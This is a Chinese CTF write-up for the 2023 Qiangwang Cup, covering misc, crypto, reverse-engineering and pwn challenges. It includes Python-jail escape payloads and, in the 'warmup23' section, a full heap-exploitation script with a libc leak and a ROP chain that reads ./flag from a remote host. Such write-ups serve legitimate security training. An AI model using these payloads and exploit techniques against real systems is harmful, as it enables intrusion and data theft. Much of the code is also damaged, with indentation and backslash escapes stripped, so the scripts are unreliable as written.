MISC
Pyjail ! It's myFILTER !!!
open函数没过滤,直接读取文件,发现flag在环境变量中:
easyfuzz
先手工交互一下,发现只要满足长度是9位,code coverage前两位就是11,剩下的一次爆破即可,下面是爆破脚本:
from pwn import *
from string import printable
import re
import time
# context.log_level = "debug"
p = remote("101.200.122.251",12177)
for t in printable:
print(t)
time.sleep(0.5)
p.recvuntil(b'Enter a string (should be less than 10 bytes): ')
# send_data = "11qwbG{}34".format(t)
send_data = "11qwbGo{}4".format(t)
p.sendline(send_data)
p.recvuntil(b'code coverage')
data = p.recv().decode()
coverage_code = re.findall(": (d+)",data)[0]
if "11111111" in coverage_code:
print("found!")
print(send_data)
break
p.interactive()
# Enter a string (should be less than 10 bytes): Here is your code coverage: 000000000
# Please try again. If you can reach all 1 in the coverage, you will win!
# Enter a string (should be less than 10 bytes): 11qwbGood
# Congrats! Here is your flag: qwb{YouKnowHowToFuzz!}
谍影重重2.0
分析协议都是 tcp 的,分析无果,被题目描述误导,陷入误区,以为是战机,J-20、J-10、Y-20,都不对
用 tshark 处理
tshark -r attach.pcapng -T json > ICAO.json
用脚本处理
# -*- coding: utf-8 -*-
import json
import pyModeS as pms
with open('ICAO.json', 'r', encoding='utf-8') as file:
data = json.load(file)
info = []
for packet in data:
if 'layers' in packet['_source'] and 'tcp' in packet['_source']['layers']:
tcp_layer = packet['_source']['layers']['tcp']
if 'tcp.payload' in tcp_layer:
tcp_payload = tcp_layer['tcp.payload'].replace(':', '')
info.append(tcp_payload)
data1 = []
for i in info:
msg = i[18:]
if pms.adsb.typecode(msg) >= 19 and pms.adsb.typecode(msg) <= 22:
icao = pms.adsb.icao(msg)
velocity_info = pms.adsb.velocity(msg)
speed, track, vertical_rate, _ = velocity_info
information = {"icao": icao, "speed": speed, "track": track, "vertical_rate": vertical_rate}
data1.append(information)
fast = max(data1, key=lambda x: x['speed'])
print((fast['icao'].upper().encode()))
结果为 79A05E
搜索得到
进行 md5
MD5 ("79A05E") = 4cf6729b9bc05686a79c1620b0b1967b
flag{4cf6729b9bc05686a79c1620b0b1967b}
签到
直接复制得到flag
Pyjail ! It's myRevenge
思路:使用海象表达式替换过滤函数和len函数,使判断永真,再通过input来接收输入,再用ssti常用手法获取flag
import socket
import time
s = socket.socket()
s.connect(("8.147.128.227",33692))
time.sleep(1)
s.recv(140000).decode()
s.send(b'''[{(len:=any)},{(my_filter:=str)is 1},{"{INPUT()}".lower()}]n''')
# s.send(b'{print("".__class__.__mro__[1].__subclasses__()[137].__init__.__globals__["__builtins__"]["__import__"]("os").listdir("./"))}n')
s.send(b'{print(open("flag_AB92FD8E1A0806F595061E295FED93D8F560E5EEEAFBCB764BB1D3E0EB6E8083").read())}n')
time.sleep(0.5)
print(s.recv(20240).decode())
回答问题得到flag
Crypto
babyrsa
第一眼是个Wiener,然后p-q的低位为0所以感觉可以Coppersmith,不过试了一下不行。
然后找到两篇论文,对着论文抄一遍即可
https://eprint.iacr.org/2021/1632
https://www.sciencedirect.com/science/article/abs/pii/S0304397523002116
#!/usr/bin/env sage
from Crypto.Util.number import isPrime, inverse, long_to_bytes
from random import getrandbits, randrange
from collections import namedtuple
from gmpy2 import iroot
Complex = namedtuple("Complex", ["re", "im"])
def complex_mult(c1, c2, modulus):
return Complex(
(c1.re * c2.re - c1.im * c2.im) % modulus,
(c1.re * c2.im + c1.im * c2.re) % modulus,
)
def complex_pow(c, exp, modulus):
result = Complex(1, 0)
while exp > 0:
if exp & 1:
result = complex_mult(result, c, modulus)
c = complex_mult(c, c, modulus)
exp >>= 1
return result
n = 591143727706634512649148024939759359125332935965941339741301978100443626383764927192405352906265750441870484772597124866948416540051132797882766876525721890148417364187305274504045823909525810653621572555356644898701170387745996604627164605007922178682643820283078770381294378888391241362701866218417
e = 286946467444242125329232917366005482758108555562774407977935741707895065443551620433804352056018479543399936884283530961542517475681912633594516017006078645316684486996756770475826189189863772520489210693019367686071424252294502612171368401536443115059090019686947917579310650427245795515739689571717195342905189116070822202985869406209819001354794867213391783564718632331851210595177019029809911030842175529435093135302899375148321696495849291318040755489943683469106936515633912280068318274552872682582057701665040704440982616977621678524771480018759950866149932684370941131288823828567953532010239
c = Complex(re=466945074314394618048804903430146870407477348092856785114352121347573765297276603523823356061058665588358168906592812014840355312975623615872669350475423336999911145662063168579527228973092663141715593574293676068879530756106740387499946781859474224812941258752096544261250573356872425877525845188509, im=539172679356466036153667427018194773623808764616135073906943348291977037250808294837529529613499717611287613222519742317858999188657402414805409046190891945128148002520616896558562883270550640806765061686359425281201226450591985013283011470643176844774957570392307535783368083398557427779492426758982)
print(n)
print(e)
r = 100
#u0 = Integer(-Zmod(2^r)(n).nth_root(2))
u0s = Zmod(2^r)(n).nth_root(2, all=True)
print(u0s)
for u0 in u0s:
print(u0)
u0 = Integer(u0)
v0 = Integer(( 2 * u0 + (n - u0^2) * u0.inverse_mod(2^(2*r)) ) % 2^(2*r))
a1 = v0 * (2^(2*r-1)).inverse_mod(e) % e
a2 = -((n+1)^2 - v0^2) * (2^(4*r)).inverse_mod(e) % e
a3 = -1 * (2^(4*r)).inverse_mod(e) % e
X = Integer(2 * n^0.7)
Y = Integer(3 * n^0.3)
load('./copper.sage')
PR.<x, y> = PolynomialRing(ZZ)
f = x * y^2 + a1 * x * y + a2 * x + a3
res = lattice_attack(PR, f, e, 4, 3, X, Y)
if res:
print(res)
break
k, v = res[0]
r = 100
ppq = 2^(2*r) * v + v0
pmq = ppq^2 - 4 * n
pmq = iroot(pmq, 2)
assert pmq[1]
pmq = Integer(pmq[0])
p = (ppq + pmq) // 2
q = n // p
assert p * q == n
phi = (p^2-1) * (q^2-1)
d = e.inverse_mod(phi)
m = complex_pow(c, d, n)
print(m)
flag = b''.join([long_to_bytes(mi) for mi in list(m)])
print(flag)
'''
[(149639950165401370800040220223187826523021045890365249443622785517178686078823694521646436258083914747634419055968718717943496892995631611456804659803012934359813236394143368904438436233733641937238021358755752, 957733246901790769061173211294976823448907733389188013192768616756978467669504039559041133)]
Complex(re=2284117282070459085219909197928661795481074017, im=1164185736764860305066816661603110168167004285)
b'flag{081613a301e49a442dfed994daba0c98}'
'''
忘了哪个比赛抄来魔改的copper.sage:
def matrix_overview(BB):
for ii in range(BB.dimensions()[0]):
a = ('%02d ' % ii)
for jj in range(BB.dimensions()[1]):
if BB[ii, jj] == 0:
a += ' '
else:
a += 'X'
if BB.dimensions()[0] < 60:
a += ' '
print(a)
def lattice_attack(PR, pol, e, mm, tt, X, Y):
x, y = PR.gens()
polys = []
dd = pol.degree()
for s in range(mm + 1):
for i in range(s, mm+1):
for j in range(2*s, 2*s+1+1):
poly = x^(i-s) * y^(j-2*s) * pol^s * e^(mm-s)
polys.append(poly)
for s in range(mm + 1):
i = s
for j in range(2*s+2, 2*s+tt+1):
poly = x^(i-s) * y^(j-2*s) * pol^s * e^(mm-s)
polys.append(poly)
polys = sorted(polys)
monomials = []
for poly in polys:
monomials += poly.monomials()
monomials = sorted(set(monomials))
dims1 = len(polys)
dims2 = len(monomials)
M = matrix(QQ, dims1, dims2)
for ii in range(dims1):
M[ii, 0] = polys[ii](0, 0)
for jj in range(dims2):
if monomials[jj] in polys[ii].monomials():
M[ii, jj] = polys[ii](x * X, y * Y).monomial_coefficient(monomials[jj])
matrix_overview(M)
print('=' * 128)
print(len(M.rows()), len(M.columns()))
#M = M.hermite_form()
B = M.LLL()
print('LLL done')
det = B.det()
print(det == 0)
print(f"monomials: {monomials}")
nn = len(monomials)
matrix_overview(B)
H = [(i, 0) for i in range(dims1)]
H = dict(H)
for j in range(dims2):
for i in range(dims1):
H[i] += (monomials[j] * B[i, j]) / monomials[j](X, Y)
PQ.<q> = PolynomialRing(ZZ)
H = list(H.values())
solutions = []
print(len(H))
#for i in range(len(H)//2):
for i in range(5):
#for j in range(i + 1, len(H)//2):
for j in range(i + 1, 5):
pol1 = PR(H[i])
pol2 = PR(H[j])
rr = pol1.resultant(pol2, y)
if rr.is_zero() or rr.monomials() == [1]:
continue
sols = rr(q, q).roots()
for sol in sols:
solx = sol[0]
if solx == -1:
continue
try:
soly = pol1(solx, q).roots()[0][0]
solutions.append((solx, soly))
print('=' * 128)
except:
pass
if len(solutions) > 0:
break
if len(solutions) > 0:
break
if len(solutions) > 0:
break
return solutions
not only rsa
n是素数次方,分解后发现e和phi不互素,AMM或nth_root解之。
#!/usr/bin/env
n = 6249734963373034215610144758924910630356277447014258270888329547267471837899275103421406467763122499270790512099702898939814547982931674247240623063334781529511973585977522269522704997379194673181703247780179146749499072297334876619475914747479522310651303344623434565831770309615574478274456549054332451773452773119453059618433160299319070430295124113199473337940505806777950838270849
e = 641747
c = 730024611795626517480532940587152891926416120514706825368440230330259913837764632826884065065554839415540061752397144140563698277864414584568812699048873820551131185796851863064509294123861487954267708318027370912496252338232193619491860340395824180108335802813022066531232025997349683725357024257420090981323217296019482516072036780365510855555146547481407283231721904830868033930943
p = 91027438112295439314606669837102361953591324472804851543344131406676387779969
assert n == p^5
phi = p^4 * (p-1)
print(gcd(e, phi))
print(gcd(e, phi//e))
import libnum
# https://tover.xyz/p/n-root-in-F/
load('./nth.sage')
res = nthRSA_p(c, e, p, 5)
for r in res:
flag = libnum.n2s(int(r))
if b'flag' in flag:
print(r)
print(flag)
# flag{c19c3ec0-d489-4bbb-83fc-bc0419a6822a}
discrete_log
素数是强素数没啥漏洞,题目给了个flag
,直接交不对,然后发现这个flag
其实是个脑洞,意思是提示flag里面是一串长度不长的十六进制字符串。。。
直接枚举不出来,怼了个Meet in Middle
首先可以把flag
分拆成前中后3段
mh: flag{
mm: unknown
ml: } + padding
然后只有mm
是需要爆破的未知数,假设未知的mm
有个字符,代进原来的DLP问题就可以得到
这样看有点复杂,不妨令
就可以简化为
然后这里继续把切割成高位半的(低位补上0)和低位一半的,就得到
注意这里因为,所以不能直接取模的逆元,由于这里的阶大概率不是,所以可以大胆地直接用为阶取逆元
然后令
就是
到这里就可以用和做Meet in Middle爆破
最后爆出来的长度为i=12
,并不是题目给的flag
中的14,如果是14的话估计要爆半天。。。
#!/usr/bin/env sage
p = 173383907346370188246634353442514171630882212643019826706575120637048836061602034776136960080336351252616860522273644431927909101923807914940397420063587913080793842100264484222211278105783220210128152062330954876427406484701993115395306434064667136148361558851998019806319799444970703714594938822660931343299
q = 86691953673185094123317176721257085815441106321509913353287560318524418030801017388068480040168175626308430261136822215963954550961903957470198710031793956540396921050132242111105639052891610105064076031165477438213703242350996557697653217032333568074180779425999009903159899722485351857297469411330465671649
assert p == 2 * q + 1
g = 5
c = 105956730578629949992232286714779776923846577007389446302378719229216496867835280661431342821159505656015790792811649783966417989318584221840008436316642333656736724414761508478750342102083967959048112859470526771487533503436337125728018422740023680376681927932966058904269005466550073181194896860353202252854
print(p.nbits())
from Crypto.Util.number import *
from Crypto.Util.Padding import pad
from tqdm import tqdm
import itertools
import string
#for i in range(128-6):
i = 14
i = 12
#i = 10
#i = 8
#i = 4
print(i)
fake = 'flag{%s}' % ('a' * i)
print(fake)
ml = Integer(bytes_to_long(pad(fake.encode(), 128)[5+i:]))
mh = Integer(bytes_to_long(b'flag{'))
'''
c = pow(g, bytes_to_long(pad(fake.encode(), 128)), p)
j = Integer(bytes_to_long(b'aa'))
k = Integer(bytes_to_long(b'aax00x00'))
B = 2^(1024-40-8*i) % (p-1)
A = pow(g, mh * 2^(1024-40) + ml, p)
A = Integer(A).inverse_mod(p) * c % p
A = pow(A, B.inverse_mod(q), p)
ginv = g.inverse_mod(p)
print(pow(g, j, p) % p)
print(pow(ginv, k, p) * A % p)
print(j, k)
'''
n = 16^(i//2)
List = set()
Lj = {}
B = 2^(1024-40-8*i) % (p-1)
A = pow(g, mh * 2^(1024-40) + ml, p)
A = Integer(A).inverse_mod(p) * c % p
A = pow(A, (B).inverse_mod(q), p)
for j in tqdm(itertools.product(string.hexdigits[:16], repeat=i//2), total=int(16^(i//2))):
j = bytes_to_long(''.join(j).encode())
lj = pow(g, j, p)
List.add(lj)
Lj[lj] = j
ginv = g.inverse_mod(p)
for k in tqdm(itertools.product(string.hexdigits[:16], repeat=i//2), total=int(16^(i//2))):
k = bytes_to_long((''.join(k)+'x00'*(i//2)).encode())
lk = pow(ginv, k, p) * A % p
if lk in List:
print(k, lk)
break
j = Lj[lk]
flag = long_to_bytes(k + j)
flag = 'flag{%s}' % flag.decode()
print(flag)
'''
1024
12
flag{aaaaaaaaaaaa}
100%|████████████████| 16777216/16777216 [15:03<00:00, 18563.12it/s]
38%|██████▌ | 6416198/16777216 [10:32<16:46, 10298.31it/s]16771905891018463815302905856 135529567858850443107510144315754681449995927325397869726845551407254736955982955315931298476445549398904618225678737565918473822963060588935860022359594391409973542725505768767829857404385071260684422207579208358076457034566480966492187698885320727337820205594291169458111117508529532766504392148482781992555
38%|██████▌ | 6416384/16777216 [10:32<17:00, 10150.39it/s]
flag{61e8007dd65f}
'''
PS:这里其实还能继续做优化,因为这里的pow
幂运算里面会有重复的乘法运算,而普通的Meet in Middle会把这种幂运算优化掉,最后只剩下乘法运算,但这里爆破的是字符就不太好操作
Reverse
ezre
控制流平坦化混淆,但是仅实现了一个SM4(搜数组常量可知):
向上交叉引用能找到密钥和密文都在sub_3580中,对明文进行了padding和SM4加密:
尝试直接SM4解密,得到flag:
from gmssl.sm4 import *
key = []
key += list(0xEFCDAB8967452301.to_bytes(8, 'little'))
key += list(0xEFCDAB8967452301.to_bytes(8, 'little'))
enc = []
enc += list(0x7C88631647197506.to_bytes(8, 'little'))
enc += list(0x4A0D7D3FFF55668B.to_bytes(8, 'little'))
enc += list(0xDEC2E93F384ED2F5.to_bytes(8, 'little'))
enc += list(0x3C1FB1746F7F7CDB.to_bytes(8, 'little'))
s = CryptSM4(padding_mode=3)
s.set_key(bytes(key), SM4_DECRYPT)
flag = s.crypt_ecb(bytes(enc))
print(flag)
# b'flag{h3kk0_w0rld_sur3_3n0ugh}x00x00x00'
Flag:flag{h3kk0_w0rld_sur3_3n0ugh}
dotdot
前面AES函数是Chow等人的AES白盒密码方案实现,根据实现代码,Program.v14是TBoxes,通过TBoxes恢复主密钥QWB2023HappyGame(https://github.com/pol4bear/whitebox-aes/blob/master/main.cpp):
从main的比对解密得出输入即RC4的密钥为WelcomeToQWB2023:
from Crypto.Cipher import AES
with open('a.bin', 'rb') as f:
data = f.read()
print(data)
# b"ax931{xf8x96xe0x00xa5'xb77Jxe3x03xa8"
key = b'QWB2023HappyGame'
aes = AES.new(key, AES.MODE_ECB)
inp = aes.decrypt(data)
print(inp)
# b'WelcomeToQWB2023'
RC4解密原Lincese.dat得到反序列化报错的二进制序列:
from arc4 import ARC4
with open('License.dat', 'rb') as f:
data = f.read()
key = b'WelcomeToQWB2023'
rc4 = ARC4(key)
ans = rc4.encrypt(data)
with open('License_res.dat', 'wb') as f:
f.write(ans)
写个C#读取发现报错偏移在660:
可以看到这一部分被0覆盖,且06 06 / 06 07与字符串的序列化类似,计算一下剩余的空间可得这里少了长度分别为21和16的字符串,前后可知这里调了FFF函数
FFF(a, b)中,a为输入,只剩下b未知,可从FFF(即TEA)的比对中解密倒推解出b:
#include <stdio.h>
#include <stdint.h>
void decrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum = 3735928559 * 32;
uint32_t delta = 3735928559;
for (uint32_t i = 0; i < 32; i++) {
v1 -= ((v0<<4) + k[2]) ^ (v0 + sum) ^ ((v0>>5) + k[3]);
v0 -= ((v1<<4) + k[0]) ^ (v1 + sum) ^ ((v1>>5) + k[1]);
sum -= delta;
}
v[0]=v0; v[1]=v1;
return;
}
int main()
{
uint32_t v[7] = {564901445, 2533256057, 2986614108, 1790486154, 3207262517, 1795412759};
uint8_t k[16] = "WelcomeToQWB2023";
for (int i = 0; i < 6; i += 2) decrypt((uint32_t *)&v[i], k);
printf("%sn", v);
return 0;
}
b长度刚好为21,填回Lincese.dat(0x15和0x10是长度),RC4重新加密以后再跑dotdot.exe即可得到flag,同时FFF函数中有对License哈希的判断(判断是否改对的辅助)
from arc4 import ARC4
with open('License_res.dat', 'rb') as f:
data = f.read()
key = b'WelcomeToQWB2023'
rc4 = ARC4(key)
ans = rc4.encrypt(data)
with open('License.dat', 'wb') as f:
f.write(ans)
Flag:flag{d0tN3t_I5_Ea57_2_y09!G00d_Luck}
PWN
warmup23
from pwn import*
context(os='linux',arch='amd64')
context.log_level=True
libc=ELF('libc.so.6')
#p = process(["./ld-2.27.so", "./a"],env={"LD_PRELOAD":"./libc-2.27.so"})
#p=process('./warmup',env={'LD_PRELOAD':'./libc.so.6'})
#p=process('./warmup')
p=remote('120.24.69.11',12700)
def add(size,data):
p.recvuntil('>> ')
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))
p.recvuntil('Note: ')
p.send(str(data))
def delete(id):
p.recvuntil('>> ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(id))
def show(id):
p.recvuntil('>> ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(id))
add(0x4d40,'a'*0x4d0) #0
add(0x500,'x00'*0x410) #1
add(0xf8,'c') #2
add(0xf8,'c') #3
add(0x4f0,'c'*0x410) #4
add(0x10,'c') #5
add(0x510,'c'*0x410) #6
add(0x10,'b') #7
add(0x500,'c'*0x410) #8
add(0xf0,'b') #9
pay=p64(0)+p32(0x5a1+0x160)+'x00x00'
delete(6)
delete(4)
delete(1)
add(0xf10,'c'*0x410) #1
add(0x500,pay) #4
add(0x4f0,'d'*8+'x10') #6
add(0x510,'d') #10
delete(8)
delete(10)
add(0xf10,'c'*0x410) #8
add(0x510,'x10') #10
delete(3)
add(0xf8,'a'*0xf0+p64(0x5a0+0x160)) #3
#add(0xf10,'c'*0x410)
delete(6)
add(0x4f0,'x10') #5
add(0x4f0,'x10') #11
show(2)
p.recvuntil('Note: ')
leak=u64(p.recv(6).ljust(8,'x00'))
print hex(leak)
libcbase=leak-(0x7ffff7faece0-0x00007ffff7d95000)
add(0x10,'x10') #12
delete(12)
show(2)
p.recvuntil('Note: ')
leak=u64(p.recv(5).ljust(8,'x00'))
heap=leak<<12
free=libcbase+0x219098-0x8
setcontext=libcbase+0x053A1D
free1=free^leak
delete(9)
delete(3)
poprdi=libcbase+0x000000000002a3e5
poprsi=libcbase+0x000000000002be51
poprdx=libcbase+0x00000000000796a2
syscall=libcbase+0x01145F0
poprax=libcbase+0x0000000000045eb0
read=libcbase+libc.sym['read']
write=libcbase+libc.sym['write']
pay=p64(heap+0x620)+p64(poprsi)+p64(4)+p64(poprax)+p64(2)+p64(syscall)
pay+=p64(poprdi)+p64(3)+p64(poprsi)+p64(heap)+p64(poprdx)+p64(0x40)+p64(read)
pay+=p64(poprdi)+p64(1)+p64(poprdx)+p64(0x40)+p64(write)
pay=pay.ljust(0xd8,'a')+p64(0x101)+p64(free1)+p64(0)
add(0x160,pay) #12
add(0xf0,'./flag') #12
#
print hex(free)
print hex(heap)
print hex(libcbase)
#gdb.attach(p,'b *0x000055555555581anb *'+str(setcontext))
#raw_input()
pay='1'*8+p64(setcontext)+'a'*0x90+p64(heap+0x540)+p64(poprdi)
add(0xf8,pay) #12
p.interactive()
原文始发于微信公众号(山石网科安全技术研究院):2023第七届强网杯线上赛WriteUp|Part2
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论